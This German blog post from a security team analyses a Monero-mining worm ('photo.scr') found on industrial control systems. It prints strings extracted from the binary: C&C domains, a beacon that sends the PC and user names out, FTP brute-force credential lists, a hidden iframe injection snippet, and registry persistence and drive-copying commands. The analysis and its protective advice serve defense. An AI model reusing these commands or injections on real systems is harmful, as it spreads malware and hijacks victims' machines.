Analyse zum Vorgehen einer Kryptomining-Malware

Vor einiger Zeit haben wir etwas Nachforschungen im Bereich Industrial Control Systems (ICS) betrieben - dabei sind wir auf manchen Systemen auch auf eine Datei mit dem Namen “photo.scr” gestoßen. Unsere Erkenntnisse dazu wollen wir in diesem Blogpost teilen - damit Dritte verstehen können, wie die gefundene Malware funktioniert und wie man sich am besten vor ihr schützen kann.

Zunächst wussten wir nicht genau, was es mit der “photo.scr” auf sich hatte. Da die Datei sich auf einigen Systemen allerdings in jedem Ordner finden ließ und sich zudem bei Betrachten von HTML-Dateien (den Hilfedateien einer ICS-Software) einen Autodownload dieser Datei startete, entschlossen wir uns die auffällige Datei etwas genauer zu untersuchen. Wie sich später zeigte gehört die Datei zu einem Kryptomining-Botnet - über das bereits andere Sicherheitsunternehmen berichtet hatten.

Einige Erkenntnisse haben wir bereits in einem Artikel auf golem.de vorgestellt: Kritische Infrastrukturen: Wenn die USV Kryptowährungen schürft

Für die Analyse nutzten wir unter anderem den Dienst malwr.com. Wir luden dort mehrere Samples hoch und entdeckten auch bereits hochgeladene Versionen dieser Software. Soweit wir das beurteilen können, funktionierten alle Samples nach demselben Prinzip. Wir fokussierten uns insbesondere auf dieses Sample - da wir es auf einem ICS gefunden und anschließend näher untersucht haben.

Analyse

Die Datei ist 1578496 Bytes (~1.6 MB) groß und wird als PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows erkannt:

1
2
3
4
5
$> file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

$> du -sb 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
1578496 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin

Hashsummen des Sampels

1
2
3
4
5
6
7
8
$> md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
aba2d86ed17f587eb6d57e6c75f64f05  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin

$> sha1sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
aeccba64f4dd19033ac2226b4445faac05c88b76  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin

$> sha256sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin

Wie wir wissen, sollte man nicht das Kommando “strings” auf unbekannten Dateien ausführen, deswegen nutzten wir die hilfreichen Features von Radare2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$> r2  file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
> iS
[Sections]
[...]sz=79872 vsz=79824 perm=m-r-x name=.text
[...]sz=1536 vsz=1124 perm=m-rw- name=.data
[...]sz=10752 vsz=10260 perm=m-r-- name=.rdata
[...]sz=1024 vsz=1016 perm=m-r-- name=.eh_fra
[...]sz=0 vsz=19276 perm=m-rw- name=.bss
[...]sz=3584 vsz=3480 perm=m-rw- name=.idata
[...]sz=512 vsz=28 perm=m-rw- name=.CRT
[...]sz=512 vsz=32 perm=m-rw- name=.tls
[...]sz=1479680 vsz=1479216 perm=m-rw- name=.rsrc

9 sections

Wie man sieht, ist die .rsrc Ressource-Section, mit ungefähr 1.4 MB von insgesamt 1.6 MB, am Größten. Es lohnt sich also einen Blick dahineinzuwerfen. Dazu kann man das praktische Tool wrestool nutzen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$> mkdir wrestool && cd wrestool/
$> wrestool -a -R -x -o ./ ../807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin  
$> ls
insgesamt 1,5M
[...] 4,0K  3. Sep 14:59 .
[...] 4,0K 22. Aug 00:46 ..
[...] 1,4M  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1
[...]  146  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_14_ICON1.ico
[...] 1,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_1
[...] 1,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_10
[...]  744  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_2
[...]  296  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_3
[...] 3,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_4
[...] 2,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_5
[...] 1,4K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_6
[...]  20K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_7
[...] 9,5K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_8
[...] 4,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_9
[...]  45K 22. Aug 00:41 bad-file_14_ICON1.ico

Diesmal gibt es einige kleinere Dateien, wobei eine besonders heraussticht: Gleich ganz oben mit dem Suffix “RCDATA1”. Die anderen Dateien zeigte das wrestool als Icons an, diese scheinen aber, bis auf zwei Ausnahmen eines Ordnersymbols, keine zu sein. Das Ordnersymbol dient offensichtlich dazu Nutzer zu täuschen (Social Engineering), damit diese einen Doppelklick auf den vermeintlichen Ordner machen.

Ordner-Icon bei der Ansicht im Windows Explorer

Moderne Webbrowser, wie der Mozilla Firefox zeigen trotz verfälschtem Symbol an, dass es sich bei der abgerufenen Datei um eine ausführbare Datei handelt.

Firefox zeigt nur ein Applikations-Icon, kein Ordner-Icon

Die verdächtige größere Datei scheint wieder eine Windows-Executable zu sein:

1
2
3
4
5
$> file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1: PE32 executable (console) Intel 80386, for MS Windows

$> md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
3afeb8e9af02a33ff71bf2f6751cae3a  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1

Sucht man nach der MD5-Summe 3afeb8e9af02a33ff71bf2f6751cae3a, so findet man heraus, dass es sich um eine Programm namens NsCpuCNMiner32.exe handelt - Das werden wir später an einer anderen Stelle noch erkennen.

Führt man in Radare2 das Kommando iz | less aus, so bekommt man eine Auflistung aller Strings in der .data Sektion. Hier lassen sich interessante Sachen entdecken!

Zum Beispiel die Hosts mit denen die Malware kommuniziert:

1
2
3
4
5
6
7
8
9
[...]string=stafftest.ru
[...]string=hrtests.ru
[...]string=profetest.ru
[...]string=testpsy.ru
[...]string=pstests.ru
[...]string=qptest.ru
[...]string=prtests.ru
[...]string=jobtests.ru
[...]string=iqtesti.ru

Konkret sieht man aus dem malwr.com-Log, dass ein HTTP-Request an folgende URL gestellt wird: httpx://stafftest .ru/test.html. Das finden wir auch in der Binary logischweise wieder:

1
[...]string=http://%s/test.html?%d

Screenshot eines Viren C&C auf dem nur Buchstabensalsat zu sehen ist

Ruft man diese URL in einer abgeschirmten Umgebung auf, so bekommt man HTML-Quelltext und viel Buchstabensalat zurück. Eine Analyse von Fortinet zeigt, dass scheinbar nur Buchstaben verstauscht werden müssen, um die Kommandos zu entschlüsseln - Es handelt sich offensichtlich um eine ROT47 Methode auf einem eigenen Schriftsatz - der folgendermaßen gelöst werden kann.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python2
import requests

def decode(URL):
    charset = " mnbvcxzlkjhgfdsapoiuytrewq/0987654321!@=%&?:.,["
    r = requests.get(URL)
    content = r.content
    output = ""

    for c in content:
        if c in charset:
            pos = 47 - charset.index(c)
            output += charset[pos]
        else:
            output += c

    return output

print decode("httpx://stafftest .ru/stat.html")
print decode("httpx://stafftest .ru/test.html")
print decode("httpx://stafftest .ru/text.html")

Eine beispielhafte Ausgabe findet man in unserem Paste.

1
[...]string=httpx://hrtests .ru/S.php?ver=24&pc=%s&user=%s&sys=%s&cmd=%s&startup=%s/%s

Zudem wird ein HTTP-Request vorgenommen bei dem mehrere Daten übermittelt werden, so etwa eine Version (ver), der Computername, der Nutzer und inwieweit das Programm nach dem Neustart des Rechners ausgeführt wird. Vermutlich werden diese Werte genutzt, um sie in ein Backend der Cyberkriminellen einzupflegen - darüber haben diese jederzeit Überblick wie viele und welche Systeme befallen sind. Der Parameter ver deutet zudem darauf hin, dass die Entwicklung der Malware tatsächlich erstaunlich professionell, mit immer neuen Releases, verläuft. Eine Analyse von GuardiCore legt nahe, dass mit jeder neuen Version auch neue Verbreitungswege zu der Malware hinzugefügt werden.

In der Liste der Strings finden wir den oben bereits extrahierten NsCpuCNMiner wieder (dieser existiert in manchen Versionen der Malware sowohl in der 32-bit, als auch in der 64-bit Variante), welcher im %%TEMP%%-Verzeichnis abgelegt und von dort ausgeführt wird.

1
2
[...]string=%s\NsCpuCNMiner32.exe
[...]string=/c start /b %%TEMP%%\NsCpuCNMiner32.exe -dbg -1 %s

Der Miner wird defaultmäßig mit Mining-Pools ausgeführt, die bereits in der “photo.scr” hinterlegt sind. Darüber hinaus wird eine Liste mit möglichen Mining-Pools mit dem gezeigten HTTP-Request ermittelt und in einer Datei mit dem Namen “pools.txt” gespeichert. Per Shell-Kommando kann die entsprechende Datei bei Aufruf des Miners übergeben werden.

1
[...]string=/c (echo stratum+tcp://mine.moneropool.com:3333& echo stratum+tcp://monero.crypto-pool.fr:3333& echo stratum+tcp://xmr.prohash.net:7777& echo stratum+tcp://pool.minexmr.com:5555)> %TEMP%\pools.txt

Damit die getanene Arbeit und deren Ergebnisse einem Account auf einem der Mining-Pools zugeordnet werden kann, muss oft ein Account-spezifischer API-Key angegeben werden:

1
[...]string=-o stratum+tcp://mine.moneropool.com:3336 -t 1 -u 42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ -p x

Reddit-Nutzer konnten weitere, wahrscheinlich zugehörende, Adressen und API-Keys ausfindig machen.

Um sich zu verbreiten, brute-forced der Miner FTP-Logins. Dazu nutzt er folgende Benutzernamen…

1
2
3
4
5
6
7
8
9
[...]string=anonymous
[...]string=Admin
[...]string=admin
[...]string=www-data
[...]string=anonymous
[...]string=Admin
[...]string=admin
[...]string=www-data
[...]string=administrator

…und Passwörter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[...]string=test
[...]string=password
[...]string=pass
[...]string=pass1234
[...]string=1234
[...]string=12345
[...]string=123456
[...]string=1234567
[...]string=12345678
[...]string=123456789
[...]string=1234567890
[...]string=qwerty
[...]string=devry
[...]string=000000
[...]string=111111
[...]string=123123
[...]string=abc123
[...]string=admin123
[...]string=derok010101
[...]string=windows
[...]string=123qwe
[...]string=email@email.com

Die folgenden Dateiendungen könnten darauf hindeuten, dass die Malware Dateien mit dieser Endung manipuliert, um sich weiter zu verbreiten:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[...]string=.php
[...]string=.PHP
[...]string=.htm
[...]string=.HTM
[...]string=.xml
[...]string=.XML
[...]string=.dhtm
[...]string=.DHTM
[...]string=.phtm
[...]string=.xht
[...]string=.htx
[...]string=.mht
[...]string=.bml
[...]string=.asp
[...]string=.shtm

Die Manipulation beinhaltet vor allem das Erstellen eines 1x1 großen Iframes über welchen auf die entsprechende Datei (photo.scr) verwiesen wird. Der Code dazu lautet:

1
[...]string=\n<iframe src=Photo.scr width=1 height=1 frameborder=0>\n</iframe>\n

Bildschirmfoto eines Quelltextes einer Webseite mit Autodownload

Um immer im Hintergrund zu laufen und um sich auf weitere Systeme zu verbreiten wird ein Registry-Eintrag angelegt und zudem versucht sich auf alle angeschlossene Laufwerke zu kopieren:

1
2
[...]string=/c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run" /d "%s" /t REG_SZ /f
[...]string=/c for %%i in (A B C D E F G H J K L M N O P R S T Q U Y I X V X W Z) do xcopy /y "%s" %%i:\

Zudem wird nach Doppelklick auf die Datei ein Countdown von 5 Wochen (über 3.100.000 Sekunden) gestartet - erst nach dieser Zeit findet die geschilderte aggressive Verbreitung statt - zuvor wird zunächst heimlich und im Hintergrund Kryptomining betrieben.

Maßnahmen der Malware zur Verbreitung & möglicher Schaden

Die Malware nutzt verschiedene Formen der Verbreitung:

  • Bruteforcing von FTP-Servern (mittels Wortliste)
  • Verteilen auf angeschlossene Festplatten (Laufwerke)
  • Verwendung von 1x1 Iframes innerhalb von HTML-Dateien, um einen Autodownload zu erreichen
  • Erstellen von WLAN-Hotspots (gefunden in Samples von GuardiCore)

Anders als bei Ransomeware liegt kein wirklich sichtbarer Schaden vor, da die Schadware ausschließlich Rechenkapazität nutzt und geringfügig Speicher belegt. Allerdings haben wir den Wurm auch auf Industrial Control Systems gefunden - in solchen Umgebungen kann es gefährlich sein, wenn der Wurm versucht sich aggressiv (beispielsweise durch Kopieren) weiterzuverbreiten.

Es ist unklar, wer hinter diesem Vorgehen steckt - allerdings gehen wir davon aus, dass der oder die Cyberkriminellen durchaus ein ansehnliches Einkommen durch dieses Vorgehen generieren können, was mitunter im 6 oder sogar 7-stelligen Bereich liegen könnte.

Zur Berechnung dieses Bereiches haben wir uns die standardmäßigen Monero Mining Konfigurationen angeschaut und angenommen, dass ein befallener Computer (Dual Core) im Durchschnitt eine Hash-Rate von 62 H/s besitzt. (Diese Annahme ich durchaus verhalten, da Gaming-PCs und co. eine deutlich höhere Hash-Rate haben.) Zudem nehmen wir einen Pool Fee von 2% an, was auch eher überdurchschnittlich hoch, also entsprechend negativ für die Cyberkriminellen, ist. Nutzt man diese hypothetischen Angaben und gibt sie in einen Mining-Rechner ein, so erhält man unter Berücksichtigung der aktuellen Mining-Werte (Difficulty & Reward) eine wöchtenliche Erzielung von 0,44$ pro befallenem Gerät.

1
50000 * 0,44 $ = 22000 $

Bei 50000 befallenen Geräten würde man so pro Woche bereits einen Wert von 22000 $ generieren.

1
22000$ * 36 = 792000 $

Da der Threat-Actor mindestens schon seit Ende des letzten Jahres bzw. Anfang 2016 aktiv ist (das legen die Untersuchungen anderer Sicherheitsexperten nahe, siehe bspw. GuardiCore), könnte man den wöchentlichen Wert mit der Anzahl der Kalenderwochen in 2016 multiplizieren und hätte dann eine ungefähre Ahnung davon, wie viel die Cyberkriminellen verdient haben könnten. Es ist natürlich richtig einzuwenden, dass nicht alle PCs zu jedem Zeitpunkt an sind, Erkennungen durch Antivierensysteme erfolgen und auch die Währung selbst Schwankungen unterliegt - aber die zu Grunde liegenden 50000 befallenden Geräte sind ja ebenfalls eine reine Schätzung und könnten sogar, angesichts der geschilderten aggressiven Verbreitung, deutlich höher ausfallen.

Fireeye hat vor einiger Zeit eine Malware der gleichen Familie gefunden, diese hat .top-Domains genutzt, um sich zu verbreiten. Da die Command und Control Server die gleichen sind, wie in der von uns gefundenen Malware ist zu vermuten, dass die gleichen Akteure hinter der Malware stecken oder aber sogar ein Malware as a Service Programm genutzt wird (die Cyberkriminelle also andere Kriminelle bezahlen - die ihre Malware an mögliche Opfer verteilen).

Schutz vor dieser Malware

Nachfolgend wollen wir noch eine kurze Übersicht über mögliche Schutzmaßnahmen geben, damit man selbst nicht Opfer und damit Teil einer unfreiwilligen Mining-Operation wird.

Als Betreiber einer IT-Infrastrukur:

  • Sichere Passwörter für FTP nutzen
  • IP-Bann nach mehrfacher Fehlauthentifizierung
  • Blacklisting der oben gennannten URLs in Webproxies oder Firewalls
  • Virensystem auf dem aktuellen Stand halten und regelmäßige Scans durchführen

Als Besitzer eines Endgerätes:

  • Skeptisch sein: Keine merkwürdigen Dateien per Doppelklick öffnen
  • Dateianhänge in Windows anzeigen lassen
  • In unbekannten WLANs immer vorsichtig agieren
  • Autodownloads auf fremden Webseiten nicht anklicken
  • Virensystem auf dem aktuellen Stand halten und regelmäßige Scans durchführen

Das Team der Internetwache.org